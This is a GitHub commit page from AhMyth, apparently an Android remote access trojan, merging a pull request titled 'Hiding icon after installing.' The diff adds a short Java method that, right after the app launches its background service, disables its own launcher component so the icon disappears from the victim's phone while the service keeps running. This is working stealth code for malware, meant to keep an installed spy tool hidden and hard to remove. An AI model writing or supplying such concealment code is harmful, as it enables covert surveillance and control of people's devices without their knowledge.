Skip to content

Commit

Permalink
Merge pull request AhMyth#173 from p2svn9x/master
Browse files Browse the repository at this point in the history
Hiding icon after installing.
  • Loading branch information
AhMyth authored May 1, 2020
2 parents 563488a + 007e073 commit fb384a7
Showing 1 changed file with 6 additions and 0 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -21,9 +21,15 @@ protected void onCreate(Bundle savedInstanceState) {
setContentView(R.layout.activity_main);
startService(new Intent(this, MainService.class));
finish();
fn_hideicon();
}

private void fn_hideicon() {

getPackageManager().setComponentEnabledSetting(getComponentName(),
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
}



Expand Down

0 comments on commit fb384a7

Please sign in to comment.